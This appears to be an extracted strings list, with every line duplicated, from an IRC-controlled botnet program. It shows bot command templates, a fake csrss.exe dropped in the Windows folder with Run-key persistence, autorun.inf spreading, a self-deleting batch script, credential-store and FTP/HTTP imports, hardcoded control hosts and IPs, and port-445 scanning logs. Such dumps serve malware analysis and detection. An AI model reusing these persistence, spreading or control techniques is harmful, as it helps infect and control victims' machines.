%s File transfer complete to IP: %s.
%s File transfer complete to IP: %s, File: %s, Size: %s bytes, Total sends: %i.
%s File transfer complete to IP: %s, File: %s, Size: %s bytes, Total sends: %i.
%s Started send to IP: %s.
%s Started send to IP: %s.
200 PORT command successful.
200 PORT command successful.
PORT
PORT
%s %s LIST request from: %s
%s %s LIST request from: %s
425 Passive not supported on this server
425 Passive not supported on this server
215 StnyFtpd
215 StnyFtpd
331 Password required
331 Password required
%s %s
%s %s
%s Couldn't open data connection to: %s:%i, error: <%d>.
%s Couldn't open data connection to: %s:%i, error: <%d>.
Ping Timeout? (%d-%d)%d/%d
Ping Timeout? (%d-%d)%d/%d
Login list completed!
Login list completed!
<%i> %s!%s@%s
<%i> %s!%s@%s
Logins:
Logins:
USER TbT * 0 :%s
USER TbT * 0 :%s
NICK %s
NICK %s
{%s-%s-%s-%s-%s}
{%s-%s-%s-%s-%s}
{iNF-%s-%s-%s-%s-%s}
{iNF-%s-%s-%s-%s-%s}
nigzss.txt
nigzss.txt
TskMultiChatForm.UnicodeClass
TskMultiChatForm.UnicodeClass
__oxFrame.class__
__oxFrame.class__
PASS %s
PASS %s
QUIT %s
QUIT %s
PONG %s
PONG %s
NICK
NICK
PRIVMSG
PRIVMSG
JOIN
JOIN
NOTICE %s :%s
NOTICE %s :%s
PRIVMSG %s :%s
PRIVMSG %s :%s
JOIN %s
JOIN %s
JOIN %s %s
JOIN %s %s
PART %s
PART %s
[%s|%s]
[%s|%s]
shlwapi.dll
shlwapi.dll
pstorec.dll
pstorec.dll
psapi.dll
psapi.dll
userenv.dll
userenv.dll
SQLDisconnect
SQLDisconnect
SQLFreeHandle
SQLFreeHandle
SQLAllocHandle
SQLAllocHandle
SQLExecDirect
SQLExecDirect
SQLSetEnvAttr
SQLSetEnvAttr
SQLDriverConnect
SQLDriverConnect
odbc32.dll
odbc32.dll
ShellExecuteA
ShellExecuteA
shell32.dll
shell32.dll
mpr.dll
mpr.dll
GetUdpTable
GetUdpTable
GetTcpTable
GetTcpTable
iphlpapi.dll
iphlpapi.dll
dnsapi.dll
dnsapi.dll
netapi32.dll
netapi32.dll
Mozilla/4.0 (compatible)
Mozilla/4.0 (compatible)
InternetCrackUrlA
InternetCrackUrlA
InternetOpenUrlA
InternetOpenUrlA
FtpPutFileA
FtpPutFileA
FtpGetFileA
FtpGetFileA
HttpSendRequestA
HttpSendRequestA
HttpOpenRequestA
HttpOpenRequestA
wininet.dll
wininet.dll
ws2_32.dll
ws2_32.dll
RegEnumKeyExA
RegEnumKeyExA
advapi32.dll
advapi32.dll
user32.dll
user32.dll
kernel32.dll
kernel32.dll
%s!%s@%s
%s!%s@%s
NICK {%s-%s-%s-%s-%s}
NICK {%s-%s-%s-%s-%s}
https:/
https:/
http:/
http:/
csrss.exe
csrss.exe
*!*@fbi.edu
*!*@fbi.edu
||FTP||
||FTP||
jayne.p0rn-lover.us
jayne.p0rn-lover.us
rundat.exe
rundat.exe
vids.p0rn-lover.us
vids.p0rn-lover.us
SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
%s\%s
%s\%s
%s Done @ (%iKB Sec)
%s Done @ (%iKB Sec)
No %s thread found.
No %s thread found.
%s thread stopped.
%s thread stopped.
[.ShellClassInfo]
[.ShellClassInfo]
CLSID={645FF040-5081-101B-9F08-00AA002F954E}
CLSID={645FF040-5081-101B-9F08-00AA002F954E}
\Desktop.ini
\Desktop.ini
\autorun.inf
\autorun.inf
icon=%SystemRoot%\system32\SHELL32.dll,4
icon=%SystemRoot%\system32\SHELL32.dll,4
http://www.whatismyip.com
http://www.whatismyip.com
http://checkip.dyndns.org
http://checkip.dyndns.org
del "%s">nul
del "%s">nul
if exist "%s" goto Repeat
if exist "%s" goto Repeat
ping 0.0.0.0>nul
ping 0.0.0.0>nul
%s\removeMe%i%i%i%i.bat
%s\removeMe%i%i%i%i.bat
%s%%s
%s%%s
%d day%s (%0.2d hours & %0.2d mins)
%d day%s (%0.2d hours & %0.2d mins)
%WinDir%\csrss.exe
%WinDir%\csrss.exe
193.138.244.231
193.138.244.231
192.168.220.133
192.168.220.133
231-ua-upclick.ipsystems.com.ua
231-ua-upclick.ipsystems.com.ua
||SCAN|| Random Port Scan started on 192.168.x.x:445 with a delay of 5 seconds for 0 minutes using 50 threads.
||SCAN|| Random Port Scan started on 192.168.x.x:445 with a delay of 5 seconds for 0 minutes using 50 threads.
||FTP|| Server started, Port: 8989, File: %WinDir%\csrss.exe.
||FTP|| Server started, Port: 8989, File: %WinDir%\csrss.exe.